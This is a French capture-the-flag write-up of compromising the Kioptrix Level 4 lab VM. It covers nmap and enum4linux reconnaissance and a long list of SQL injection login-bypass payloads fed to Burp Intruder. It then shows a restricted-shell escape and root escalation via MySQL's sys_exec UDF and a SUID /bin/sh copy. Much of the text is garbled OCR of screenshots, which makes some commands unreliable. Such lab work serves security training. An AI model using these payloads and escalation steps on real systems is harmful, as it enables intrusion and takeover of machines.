RAPPORT DU CHALLENGE 4 KIOPTRIX4:

Apres avoir téléchargé et importé la machine vulnérable dans I'hyperviseur VMWARE, nous
avons effectué les étapes suivantes:
Etape1: Déterminer I'adresse ip de la machine vulnérable

Nous avons scanner le réseau du vmware une fois la machine démarrer avec la commande:
nmap 192.168.37.0/24 .

La machine Kioptrix_level 4 étant démarré en mode NAT, une fois que nous avons scanné
le réseau du vmware, nous avons obtenu I'adresse ip de la machine en scannant le réseau.
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mass@kali: ~

Fichier Actions Editer Vue Aide

ShellNo.1 x  mass@kali:~ x

hydra.restore

nn-refused), 430 filtered tcp ports (no-response)

sses (2 hosts up) scanned in 5.6

Etape2: Trouver les services disponible sur cette machine ainsi que leurs ports et versions
respectives a l'aide de nmap

e Nous avons déterminé les services disponible sur cette machine a l'aide de la
commande nmap -A -sV -sS -p- 192.168.37.129 et nous avons obtenu les résultats
suivants:

- OpenSSH 4.7p1, port 22
- Apache httpd 2.2.8, port 80
- Samba smbd 3.0.28a, port 139 et 445



mass@kali: ~

Fichier Actions Editer Vue Aide

ShellNo.1 X  mass@kali:~ %

@ 11:36 CEST
ltered tcp ports (no-response)
(protocol 2.0)
sin-Patch)

open netbios-ssn
open netbios-ssn

Linux; CP

¢ 1h59m57s

NetBIOS MAC: <unknown> (unknown)

Computer
t

Etape3: Enumération
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Nous avons exécuté I'outil enum4linux pour essayer de trouver les utilisateurs et les fichiers
partagés sur la machine cible. Nous avons obtenu un certain nombre d'utilisateurs tels que

nobody, robert, root, john et loneferret.

e enum4linux 192.168.37.129
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mass@kali: ~
Fichier Actions Editer Vue Aide
Shell No.1 % mass@kali: ~ %

num4linux/ ) en Thu Oct

t, krbtgt, domain admins, root, bin, none

Looking up status of 192
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o mass@kali: ~

Fichier Actions Editer Vue Aide

ShellNo.1 X mass@kali: ~ X

1-100@ Uni nefe
1-1001 Uni john (Lo
i robert (

No printers returned.

enum&linux complete on Thu Oct

e Enumération HTTP

Nous allons énumeérer le service http et commencer par gobuster pour le forgage brut des
répertoires afin de répertorier tous les répertoires disponibles, puis nous avons trouvé un
répertoire appelé john qui est le méme utilisateur que nous avons trouvé par enum4linux.

- gobuster dir --url http.//192.168.37.129 -w /usr/share/wordlists/dirb/common.txt
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; mass@kali: ~

Fichier Actions Editer Vue Aide

Shell No.1 % mass@kali: ~ X

ts/dirb/common. txt

mode

5 (
Finish




e Ensuite, nous nous sommes rendu sur l'interface web en tapant I'adresse ip
192.168.37.129 dans le navigateur et nous avons obtenu un formulaire sur la page.
Nous avons effectué des injections SQL sur le formulaire, mais nous avons pas
obtenu d’informations.
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3 Mon Drive - Gooo X |8 Documentsanst/ X @ - Discord | #géne: X KioptrixLevel 4 Vuln' X | 192.168.37.129findex X B Google Traductio X ar

(3 C @ O & 192.168.37.129 w

KaliLinux # KaliTools ¢ KaliDocs & KaliForums & Kali NetHunter Exploit-DB Google Hacking DB OffSec == Uninstall Workstation ... How To Install remmin...

Member Login
Username : |john'OR1=1——
Password.

| Login |

LigGoat secure Login Copyright (c) 2013
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1 Boite d ptior X 3 Mon Drive - Gooc % [ Documentsansti X @ - Discord | #génc % Kiop! 4Vuln' x| 192.168.37.129/check X = BR Googl¢

(3 C @ QO A& 192168.37.129

- Capture d'écran p
Voir l'ima

rise

g

Kali Linux §& KaliTools = KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec = Uninstall Workstation ... How

Warning: mysqgl num rows(): supplied argument is not a valid MySQL result resource in /var/www/checklogin.php on line 28
Wrong Username or Password

| Try Again |



Etape4: Exploitation des vulnérabilité

Puisqu’il existe un utilisateur appelé john sur la machine cible, nous allons utiliser cet
utilisateur et forcer brutalement le champ du mot de passe par les charges utiles sql.

Ensuite, nous exécutons burp suite pour intercepter la requéte et I'envoyer dans I'onglet
“Intruder’”. Nous sommes allés dans la partie Http History de I'onglet proxy de burpsuite, puis
avons cliquer sur I'url de la machine cible.
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Burp Suite Community Edition v2022.7.1 - Temporary Project

Burp Project Intruder Repeater Window Help

Dashboard  Target Intruder  Repeater  Sequencer  Decoder  Comparer  Logger  Extender  Projectoptions  Useroptions  Leam =
HTTPhistory  WebSocketshistory ~ Options
Ki »
‘ Filter: Hiding CSS, image and general binary content | @
# Host Method URL Params  Edited  Status  length  MIMEtype  Bxtension Title Comment s 13 M
1 hitp://192.168.37.129 POST  jcheckogin.php v HTML php 192.168.37.120

Inspector W T - @& Xx

- Request
Raw Hex n = 5 9

—_— Request Attributes.
1 POST /checklogin.php HTTP/1.1
2 Host: 192.168,37.129

3 User-Agent: Mozilla/5.0 (¥11; Linux x85_64; rv:91.0) Gecko/20100101 Firefox/91.0 Request Body Parameters i v
7 4 hccept: text/html,application/xhtnl+xnl,application/xnl;q=0.9, inage webp, #/*;q=0.8
S Accept-Language: en-Us,en:g=0.5 Request Cookies | B
o 5 hccept-Encoding: gzip, deflate +
7 Content-Type: application/x-www-farn-urlencoded
G Content-Length: 44 Request Headers 7>

S Origin: http://192,168.37,129

10 Connection: close

11 Referer: http://192.168.37.129/index php?

12 Cookie: PHPSESSID=43b4067cad26c3d5195935a2cd860a17
1% Upgrade-Insecure-Requests: 1

o 14

15 myusername=johnémypasswo rd=12376submit=Login

@@ (€3] [ s 0 matches )
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Burp Suite Community Edition v2022.7.1 - Temporary Project

Burp Project Intruder Repeater Window Help
PENN  Dashboard  Target Intruder  Repeater  Sequencer Decoder  Comparer Logger Extender Projectoptions  User options Leam =

1 % 2 % 3 x + Q i
K — 2 »

Positions  Payloads  ResourczPool  Options
(3 Chooseanattack type [ swrtatace |

Attacktype: | Sniper

(® Payload Positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Add§

Target: | http/92.168.37.129 Update Host header to match target
Clear §

1 POST /checklogin.php HTTR/1.1

2 Host: 192.168.37.129 Autes
S User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:Sl.0] Gecko/28180101 Firefox/S1.0
4 Accept: text/htnl,application/xhtnl+xml,application/xanl;0=0.9,inage/webp, +/+;a=0.8 Refresh
S Accept-Language: en-US,en;g=0.5

& Accept-Encoding: gzip, deflate

7 Content-Type: application/x-www-form-urlencoded

© Content-Length: 44

9 Origin: http://192.168.57.129

10 Connection: close

11 Referer: http://192,168.57,129/index.php?

12 Cookie: PHPSESSID=§43b4057cad26c3d9]95955a2cd860a178

15 Upgrade-Insecure-Requests: 1

14

15 myusernane=5j ohnS&nypassword=5125755Subnit=5Loging

ORI AR 0 matches Clear

4 payload positions Length: 582

Dans l'onglet “positions”, nous sélectionnons le champ “mot de passe” et le type d'attaque
que nous allons utiliser est “sniper” pour essayer toutes les charges utiles sur le champ mot
de passe.

Avant de démarrer les actions dans burpsuite, nous avons d’abord activé le proxy dans
notre navigateur, puis ensuite nous avons activé l'intersection dans burpsuite, intersept on.

Dans l'onglet payloads, nous copions et collons les payloads sql que nous allons utiliser.

nron

n mnon

or
n Of' ""& n
n Or ""A n

"or
or true--

nmxn




"or true--
"or true--
") or true--
) or true--
"or x'=%
) or ('X')=("x
2) Or"({,'xg)=(('x

or "x"="x
") or ("x")=("x
") or (("x"))=(("x
"or 1=1 --
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin’ --
admin' #
admin’/*
admin'or '1'="1
admin’' or '1'="1"--
admin' or '"1'="1'#
admin' or '"1'='17/*
admin'or 1=1 or "='
admin'or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin’) or ('1'="1
admin') or ('"1'="1"--
admin’) or ('"1'="1'#
admin’) or ("1'="17*
admin’) or '1'="1
admin') or '"1'="1"--
admin’) or '1'='1'#
admin') or '1'='1/*
1234 ' AND 1=0 UNION ALL SELECT 'admin’, '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin'/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"7*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin”) or ("1"="1"#
admin”) or ("1"="1"/7*
admin") or "1"="1
admin”) or "1"="1"--




admin”) or "1"="1"#
admin") or "1"="1"/*

1234 "AND 1=0 UNION ALL SELECT "admin" "81dc9bdb52d04dc20036dbd8313ed055
"or 1=1#
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Burp Suite Community Edition v2022.7.1 - Temporary Project
Burp  Project Intruder Repeater Window Help
PR Doshboard  Target

Intruder  Repeater  Sequencer Decoder  Comparer Logger Extender Projectoptions  User options

Learn =
1x 2= 3x  + Q :
Ki »
Positions  Payloads  ResourcePool  Options
(® Payload Sets e
You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.
Payloadset: | 1 ~|  Payloadcount: 79
Payloadtype: | simple list ~|  Requestcount: 316

(3 Payload Options [simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste
Load %
Remave
ey »
Clear o'
ror
Deduplicate | rgrig
o

Add

(@ Payload Processing
You can define rules to perform various processing tasks on each payload before it is used

Add Enabled Rule
Edit

Remave

»
Up

Et dans I'onglet Options de la section Grep-Extract, Nous avons cliquer sur le champ “Add”
et nous avons obtenu une fenétre.

Nous avons cliqué sur le bouton “Fetch response” et nous avons sélectionné “ Wrong

Username et Password" afin que nous puissions découvrir facilement laquelle des charges
utiles SQL a réussi a se connecter.



Burp  Project Intruder Repeater
PN Doshboard  Target

1w 2 = 3w +

window

Intrt

Help

Define extract grey

Ki
Positions  Payloads  Resource Pool (3) Define the locationof the tem to be extracted. Selecting the tem in the response panel will reate a sutable configuration automatically. You can
Regex also medify the configuration manually to ensure it works effectively.
Case sersitive match Define startand end Extract from regex group
[ Exclude HTTPheaders O startafter expression: | /htmiirinirin
Start at offset:
(® Grep-Extract
) These settings can be used to extract usefu © Endatdelimiter: <form method=
End at fixed length
Extract the following items from respol
Add
Exclude HTTPheaders [ Update config based on selection below Refetchresponse
Edit
1 HTTP/1.1 200 OK
Remove 2 Date: Thu, 26 Oct 2022 12:45:19 GHT
Duplicate S Server: Apache/2.2.8 (Ubuntu) PHP/S.2.4-2ubuntuS.6 with Suhosin-Patch
4 X-Powered-By: PHP/S.2,4-2ubuntus.s
up S Content-Length: 109
& Connection: close
Down 7 Content-Type: text/html
Clear

S Wrong Username or Passwordkforn method="link" action="index. php"=<input type=submit value="Try

Again"s</form=
Maximum capture length: | 100

@ Grep - P,

) These settings can be used o lag resul te

@ €[] | sear

Search responses for payload strings

0 matches

Cancel

Ensuite, nous avons défiler jusqu'a la section des redirections et sélectionné “Always” pour

suivre toutes les redirections.

Burp Suite Community Edition v2022.7.1 - Temporary Project

Burp Project Intruder Repeater Window Help

e Dashboard Target x Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Leamn
1 % 2 % +
Ki
Positions. Payloads Resource Pool Options
Edit
Remove
Duplicate >
up
Down
Clear

Maximum capture length: | 100
(3) Grep -Payloads

) These settings can be used to flog resultitems containing reflections ofthe submitted payload

Searchresponses for payload strings

ons

@ Redire
) These settings control how Surp hantilesredirections when performing attacks.
Follow redirections: () Never
On-site only
In-scope only

O Always

Process cookies in redirections

Maintenant, notre attaque est préte a commencer. Nous avons cliqué sur le bouton “start

attack” a droite.




Burp Project Intruder Repeater Window Help

PENN  Dashboard  Target Prox Intruder  Repeater  Sequencer Decoder  Comparer Logger Extender Projectoptions  User options

1 % 2 % +
Positions. Payloads Resource Pool Options
(3) save Options [Pro version only] Findout more

This setting allows you to save your attackto the current project file. The attackwill then be available from the Dashboardwhenever you open this project.

(3 Request Headers
E’ 'O These settings c Intruder updates the configured request headersd ttacks.

[ Update Content-Length header Burp Intruder

Set Connection header The Community Edition of Burp Suite contains a demoversion of Burp Intruder.
Some functionality s disabled, and attacks are time throttled.

Please visit https://portswigger.net for more details about BurpSuite

@ ErorHandling Professionalwhich contains the full version.

) These settings control how Intruder handles network errors during the atta oK

Number of retries on network failure: | 3

Pause before retry (milliseconds): | 2000

(?) Attack Resuilts

o &) These settings control whatinformation s capturedin attackresults.
Store requests

Store responses

2 Make unmedified baseline request

Use denial-of -service mode (no results)

Store full payloads.

Leamn

Ensuite en cliquant sur le bouton “OK” dans la fenétre qui apparait, I'attaque a démarré.

Parmi les réponses, nous avons avons trouvé le mot de pas en cliquant sur le payload
comportant html. Et nous avons obtenu le mot de passe “MyNamelsJohn “ de I'utilisateur

john.

qeomp

ettings
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|®

1 K4 - massm @ KioptrixLevel x  B@ Google Tradur x &3 S
a X @
4. Intruder attack of http://192.168.37.130 - Temporary attack - Not saved to project file
KaliLinux #= KaliTools + KaliD i
Results  Positions Payloads  Resource Pool Options.
Filter: Showing allitems.
ion Payload Status Eror  Redirect.. Timeout  Length ihtmilrintin
admin' or 1'="1% 200 2 1676 <html><body><table widt.
admin or'1'=14* 200 0 492 <br [><b>Wamningelbs: ...
admin‘or 1=t or =" 200 2 1676 <html><body><table widt...
admin or1=1 200 0 492 <br/><b>Wamninge/bs
admin or1=1-- 200 0 492 <br [><b>wamingelbs: ...
admin' ori=ii 200 2 1676 <htmls<body><table widt.
admin' or1=1/* 200 0 492 <br/><b>Wamninge/b
admin’er (1'=" 200 0 492 <br[><b>Wamingelbs: ...
admin')or (1 200 0 492 <br [><b>Warningelbs:
adminor (1 200 0 492 <br/><b>Wamninge/b
admintor (" 200 0 ag2 <br[><b>Wamningelbs: ...
admin’] 200 0 492 <br [><b>wamingelbs: ...
admin’] 200 0 492 <br/><b>Wamning</bs
admin’)or 1'="1'# 200 0 492 <br/><b>Wamning</b>
Reguest1 Response 1 Request 2 Response 2 Request 3 Response 3
Pretty  Raw  Hex  Render
<trs>
<td width="30">
Password
</td>
28 <tdl width="6">
</td>
29 <tdl width="464">
HyNameIsJohn
</td>
an <itrs
@& «l»
2300f 316

Comment

anr

0matches

192

- Capture d'écran prise

Vair l'image

Nous avons entré les identifiants dans le formulaire, et avons obtenu le résultat ci-dessous.



Member's Control Panel
Username : john
Password : MyNamels]ohn

| Logout |

Nous avons utilisé les informations d'identification trouvées pour nous connecter par
sshavec la commande “ssh john@192.168.37.129” et nous avons obtenu une erreur.

<< Unable to negotiate with 192.168.37.130 port 22: no matching host key type found. Their
offer: ssh-rsa,ssh-dss>>

Afin de corriger I'erreur, nous nous sommes rendu sur le site:

offer-ssh-dss ot nous avons trouvé la commande a exécuter afin de résoudre l'erreur
ci-dessus.

e ssh -oHostKeyAlgorithms=+ssh-dss root@192.168.37.129 et nous nous sommes
connecté avec succes.
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root@kali: homefmass/Téléchargementsfopenssh-sftp-exploit-simple
Fichier Actions Editer Vue Aide
Shell No.1 X root@l ome/mass/Téléchargements/openssh-sftp-exploit-simple X mass@kali:~ X

in 172.9 seconds

pe found. Their offer: ssh-rsa,ssh-dss

/home/mass/Téléchargements/openssh-sftp-exploit-simple
fetc/ssh/ssh_config

/home /mass/Téléchargements/openssh-sftp-exploit-simple
j 9

1ing

P
ommands

i
whs unknown command: whoami
john:~$ Il

Ensuite, nous avons constaté que le shell est limité, nous avons donc généré un shell tty
en utilisant cette commande echo pour obtenir un shell interactif complet.

e help ou ? nous ont permi de voir les commandes autorisées dans le terminal


https://askubuntu.com/questions/836048/ssh-returns-no-matching-host-key-type-found-their-offer-ssh-dss
https://askubuntu.com/questions/836048/ssh-returns-no-matching-host-key-type-found-their-offer-ssh-dss

e echo os.system(/bin/bash’)
e export TERM=xterm
o cd/

john
cd clear echo
john:~% echo

john:~% help
lear echo t help 11 1path
~% echo os.system{'/bin/bash')

Etapeb: Escalation de priviléges
Nous avons besoin d'une escalade de privileges. Pour cela nous avons exécutés une
commande find pour rechercher des mots de passe en texte brut et nous avons trouvé un

mot de passe mysql vide a "/var/www/john/john.php".

e find /-maxdepth 5 -name *.php -type f -exec grep -Hn password {} \;

S om P D1 2 3 ¢ ® ® v H A &6 | G
- john@Kioptrixd: /
Fichier Actions Editer Vue Aide

Permission denied
mission denied
Permission
Permission denied
rmission d
rmissien d

on denied
n denied

annot conn
e row must be 1 r

rmissien denie
ission denied
denie

e Nous nous sommes rendu dans le répertoire "/var/www/john" pour jeter un coup
d'ceil sur john.php. Nous avons trouvé des informations d'identification mysql avec le
nom d'utilisateur est "root" et le mot de passe est "".



e [Escalade des priviléges
Nous avons vérifier si mysql s'exécute sur la machine cible en tant que root ou non, nous

exécutons donc cette commande ps et nous avons remarqué que mysql s'exécute en tant
que root, avec la commande ‘ps aux | grep”

d r —datadir=/var/lib/mysql -——user=root ——pid-file=/var/run/mysqld/mysqgl

p daemon.err -t mysqld_safe -i -t mysqld

Il existe un module appelé User Defined Function (ou UDF) dans mysql. Ce module nous
permet d'exécuter des commandes systeme dans mysql, nous nous sommes donc
connectés en tant que root sans mot de passe, puis en énumérant les bases de données et
les tables. Nous utilisons la base de données mysql et sélectionnons toutes les entités de la
table func qui est la table qui contient UDF. Nous avons trouvé une fonction appelée
sys_exec que nous allons essayer d'utiliser pour I'élévation des privileges.

e mysql -u root

john@Kioptrixé:/var/www/john$ mysql -u root
Welcome to the MySOL monitor. Commands end with ; or \g.
| r MySOL connection id is 984

erver version: 5.0.5la-3ubuntu5.4 (Ubuntu)

or "“h' for help. Type '\c"' to clear the buffer.

e show databases;

mysgql> show databa
Database
information_schema

members
mysqgl

3 rows in set (0.00

e use mysql
e show tables;



mx;qI use m\;q]

ion of table and column names
a quicker startup with -A

Tables_in_my

columns_priv

p_
hnIp Tapn
host

7 rows in set (0.80 sec)

e select * from func

mysgl> select * from func
%

name ret dl type

unction
unction

]

4]

\,.

lib_mysqgludf_
lib_mysqgludf_

0

lib_mysgludf_sys_info
. -

v

.F
.F

5y5.5
5¥5.5

+ 1 + +
I I | t I
+ 1 + +
I I I I
I I I I
+ 1 + +

Pl ok o—— e —

o T sec)

mysql> |

Méthode1:

Nous avons utilisé la fonction sys_exec pour ajouter I'utilisateur john au groupe admin afin
que nous puissions utiliser la commande sudo pour passer facilement a I'utilisateur root.

e select sys_exec('usermod -a -G admin john');



/john$ mysgl -u root
QL monitor. Commands end with
ion id is 985
q

for help. Type "\c' to

("usermod -a -G admin
+ +
| |
+ +
I |
+ +
1

e sudo su
id
e whoami

Johngk
[sudo] password for john:
rootak ; /v /johng id

i . oroups=0(root)
root@Kloptr Svar/wew /johng whoami
root
root@Kioptrixs: /var/ww/john I

Nous avons accédé au réportoire personnel avec la commande: “cd ~”
Nous avons ensuite lister le contenu du répertoire avec la commande “Is”, ce qui
nous a permi de trouver un flag.

e cat congrats.txt

w/john# cd ~

not as eas
. Hobbies

1shell.spec MANIFEST.in PKG-INFO README se

Méthode?2:



Nous avons utilisé la fonction sys_exec pour copier /bin/sh dans le répertoire /tmp et
changer sa propriété en root et ses autorisations en SUID et SGID afin que nous puissions
exécuter ce programme sh en tant que root et donc obtenir un shell root.

e select sys_exec('cp /bin/sh /tmp; chown root:root /tmp/sh; chmod +s /tmp
o exit

sudo mysql
L monitor.

action id is 9
51a-3ubuntu5.4 (Ubuntu)

' for help. Type '\c¢' to clear the buffer.
c('cp /bin/sh /tmp; chown root:root /tmp/sh; chmod +s /tmp/sh’);

/tmp/sh; chmod +s /tmp/sh')

1 row in set (0.01 sec)

nysql> i

Nous avons changé le répertoire en /tmp puis exécuté le programme sh et enfin nous avons
un shell root.

e cd/tmp
e |s
e ./sh

johnKioptrix&4:/var/ww/john$ cd /tmp/
john@Kioptr /tmp$ 1s

sh

john@kKioptrix4:/tmp$ ./sh

# 1s

sh

# pwd

Jtmp

# id

uid=1001( john) gid=1001( john) euid=@(root) egid=@(root) groups=1001( john)
# whoami

root

<







